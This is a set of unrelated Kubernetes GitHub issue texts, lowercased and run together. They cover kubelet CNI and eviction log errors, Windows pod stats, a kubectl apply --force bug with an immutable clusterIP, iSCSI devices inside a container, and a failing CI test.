uninitialized\r 3月 29 11:27:07 ultron-pcn kubelet 20894 : i0329 11:27:07.130397   20894 kubelet_node_status.go:85  successfully registered node ultron-pcn\r 3月 29 11:27:11 ultron-pcn kubelet 20894 : w0329 11:27:11.134410   20894 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r 3月 29 11:27:11 ultron-pcn kubelet 20894 : e0329 11:27:11.134596   20894 kubelet.go:2105  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r 3月 29 11:27:16 ultron-pcn kubelet 20894 : w0329 11:27:16.135008   20894 conversion.go:110  could not get instant cpu stats: different number of cpus\r 3月 29 11:27:16 ultron-pcn kubelet 20894 : w0329 11:27:16.135576   20894 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r 3月 29 11:27:16 ultron-pcn kubelet 20894 : e0329 11:27:16.135768   20894 kubelet.go:2105  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r 3月 29 11:27:16 ultron-pcn kubelet 20894 : w0329 11:27:16.146505   20894 conversion.go:110  could not get instant cpu stats: different number of cpus\r 3月 29 11:27:16 ultron-pcn kubelet 20894 : w0329 11:27:16.149256   20894 conversion.go:110  could not get instant cpu stats: different number of cpus\r 3月 29 11:27:16 ultron-pcn kubelet 20894 : w0329 11:27:16.150439   20894 eviction_manager.go:332  eviction manager: attempting to reclaim imagefs\r 3月 29 11:27:16 ultron-pcn kubelet 20894 : i0329 11:27:16.150470   20894 helpers.go:1070  eviction manager: attempting to delete unused containers\r 3月 29 11:27:16 ultron-pcn kubelet 20894 : i0329 11:27:16.154892   20894 helpers.go:1080  eviction manager: attempting to delete unused images\r 3月 29 11:27:16 ultron-pcn kubelet 20894 : i0329 11:27:16.159711   20894 image_gc_manager.go:350   imagegcmanager : removing image \ sha256:99e59f495ffaa222bfeb67580213e8c28c1e885f1d245ab2bbe3b1b1ec3bd0b2\  to free 746888 bytes\r 3月 29 11:27:16 ultron-pcn kubelet 20894 : e0329 11:27:16.162099   20894 remote_image.go:130  removeimage \ sha256:99e59f495ffaa222bfeb67580213e8c28c1e885f1d245ab2bbe3b1b1ec3bd0b2\  from image service failed: rpc error: code = unknown desc = error response from daemon: conflict: unable to delete 99e59f495ffa  cannot be forced  - image is being used by running container 59c259683f4b\r 3月 29 11:27:16 ultron-pcn kubelet 20894 : e0329 11:27:16.162154   20894 kuberuntime_image.go:126  remove image \ sha256:99e59f495ffaa222bfeb67580213e8c28c1e885f1d245ab2bbe3b1b1ec3bd0b2\  failed: rpc error: code = unknown desc = error response from daemon: conflict: unable to delete 99e59f495ffa  cannot be forced  - image is being used by running container 59c259683f4b\r 3月 29 11:27:16 ultron-pcn kubelet 20894 : w0329 11:27:16.162176   20894 eviction_manager.go:435  eviction manager: unexpected error when attempting to reduce imagefs pressure: wanted to free 9223372036854775807 bytes, but freed 0 bytes space with errors in image deletion: rpc error: code = unknown desc = error response from daemon: conflict: unable to delete 99e59f495ffa  cannot be forced  - image is being used by running container 59c259683f4b\r 3月 29 11:27:16 ultron-pcn kubelet 20894 : i0329 11:27:16.162186   20894 eviction_manager.go:346  eviction manager: must evict pod s  to reclaim imagefs\r \r   environment  :\r - kubernetes version  use  kubectl version  :client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  :linux ultron-pcn 4.13.0-37-generic\r - install tools:kubeadm\r - others:\r

pr  62266 adds kubelet stats for windows pods/containers, e.g.\r \r    json\r {\r   \ node\ : {\r     \ nodename\ : \ 12555k8s9000\ ,\r     \ starttime\ : \ 2018-05-17t07:22:44z\ ,\r     \ cpu\ : {\r       \ time\ : \ 2018-05-17t07:25:49z\ ,\r       \ usagecorenanoseconds\ : 250800000000\r     },\r     \ memory\ : {\r       \ time\ : \ 2018-05-17t07:25:49z\ ,\r       \ availablebytes\ : 5040005120,\r       \ usagebytes\ : 9516679168,\r       \ workingsetbytes\ : 3549458432,\r       \ rssbytes\ : 0,\r       \ pagefaults\ : 0,\r       \ majorpagefaults\ : 0\r     },\r     \ fs\ : {\r       \ time\ : \ 2018-05-17t07:25:49z\ ,\r       \ availablebytes\ : 9437716480,\r       \ capacitybytes\ : 32212250624,\r       \ usedbytes\ : 22774534144\r     },\r     \ runtime\ : {\r       \ imagefs\ : {\r         \ time\ : \ 2018-05-17t07:25:50z\ ,\r         \ availablebytes\ : 9437716480,\r         \ capacitybytes\ : 32212250624,\r         \ usedbytes\ : 22774534144,\r         \ inodesused\ : 0\r       }\r     }\r   },\r   \ pods\ :  \r     {\r       \ podref\ : {\r         \ name\ : \ iis-7b9b94fbd5-h7jzd\ ,\r         \ namespace\ : \ default\ ,\r         \ uid\ : \ 2d442f1c-574d-11e8-b8d0-000d3aa00b4f\ \r       },\r       \ starttime\ : \ 2018-05-17t07:22:46z\ ,\r       \ containers\ :  \r         {\r           \ name\ : \ iis\ ,\r           \ starttime\ : \ 2018-05-17t07:23:18z\ ,\r           \ cpu\ : {\r             \ time\ : \ 2018-05-17t07:25:51z\ ,\r             \ usagecorenanoseconds\ : 7390625000\r           },\r           \ memory\ : {\r             \ time\ : \ 2018-05-17t07:25:51z\ ,\r             \ workingsetbytes\ : 43278336\r           },\r           \ rootfs\ : {\r             \ time\ : \ 2018-05-17t07:25:51z\ ,\r             \ availablebytes\ : 9437716480,\r             \ capacitybytes\ : 32212250624,\r             \ usedbytes\ : 0\r           },\r           \ logs\ : {\r             \ time\ : \ 2018-05-17t07:25:50z\ ,\r             \ availablebytes\ : 9437716480,\r             \ capacitybytes\ : 32212250624,\r             \ usedbytes\ : 22774534144,\r             \ inodesused\ : 0\r           },\r           \ userdefinedmetrics\ : null\r         }\r        ,\r       \ cpu\ : {\r         \ time\ : \ 2018-05-17t07:23:18z\ ,\r         \ usagenanocores\ : 0,\r         \ usagecorenanoseconds\ : 7390625000\r       },\r       \ memory\ : {\r         \ time\ : \ 2018-05-17t07:25:51z\ ,\r         \ availablebytes\ : 0,\r         \ usagebytes\ : 0,\r         \ workingsetbytes\ : 43278336,\r         \ rssbytes\ : 0,\r         \ pagefaults\ : 0,\r         \ majorpagefaults\ : 0\r       },\r       \ volume\ :  \r         {\r           \ time\ : \ 2018-05-17t07:23:45z\ ,\r           \ availablebytes\ : 9462988800,\r           \ capacitybytes\ : 32212250624,\r           \ usedbytes\ : 22749261824,\r           \ inodesfree\ : 0,\r           \ inodes\ : 0,\r           \ inodesused\ : 0,\r           \ name\ : \ default-token-r42mw\ \r         }\r        ,\r       \ ephemeral-storage\ : {\r         \ time\ : \ 2018-05-17t07:25:51z\ ,\r         \ availablebytes\ : 9437716480,\r         \ capacitybytes\ : 32212250624,\r         \ usedbytes\ : 22774534144\r       }\r     }\r    \r }\r    \r \r but there's still no network stats for pods and containers. we should figure out how to fix that.\r \r   \r cc @michmike @patricklang @madhanrm @dineshgovindasamy

 \r   what happened  :\r \r from https://github.com/kubernetes/kubernetes/pull/34584 i expected kubectl apply to support deleting a resource and recreating it, if changes cannot be applied.\r \r    \r $ kubectl apply -f test-service.yaml   \r the service \ test-service\  is invalid: spec.clusterip: invalid value: \ 10.96.0.123\ : field is immutable\r $ kubectl apply -f test-service.yaml   --force\r the service \ test-service\  is invalid: spec.clusterip: invalid value: \ 10.96.0.123\ : field is immutable\r    \r \r kubectl replace works:\r \r    \r kubectl replace -f test-service.yaml   --force \r service \ test-service\  deleted\r service/test-service replaced\r    \r \r   what you expected to happen  :\r \r    \r $ kubectl apply -f test-service.yaml   --force\r service \ test-service\  deleted\r service/test-service created\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    yaml\r apiversion: v1\r kind: service\r metadata:\r   name: test-service\r spec:\r   selector:\r     app: test\r   clusterip: none\r   ports:\r     - port: 80\r    \r \r    \r $ kubectl apply -f test-service.yaml   \r     \r \r change clusterip to any ip address.\r \r    \r $ kubectl apply -f test-service.yaml   \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : client v1.11.0, cluster v1.11.1 \r - cloud provider or hardware configuration: qemu/kvm\r - os  e.g. from /etc/os-release : cluster centos linux release 7.5.1804  core , client macos\r - kernel  e.g.  uname -a  : 3.10.0-862.6.3.el7.x86_64\r - install tools: kubeadm\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r   >  \r \r when attempting to use iscsi devices inside a kubernetes container, the devices are discovered correctly, but when  iscsiadm -m node -l  is run  on the container  to log in, the devices do not show up under /dev. they are visible as having been discovered, just not under /dev. however, they are visible under /dev on the host machine. how does one discover and then use iscsi devices from inside a container.\r the container is privileged and running with hostnetwork: true\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  : ci-kubernetes-e2e-gce-scale-correctness\r \r   which test s  are failing  : multiple sig-storage tests\r \r   since when has it been failing  : there is failed run from yesterday\r \r   testgrid link  : https://k8s-testgrid.appspot.com/sig-scalability-gce gce-scale-correctness\r \r   reason for failure  : timeout\r \r  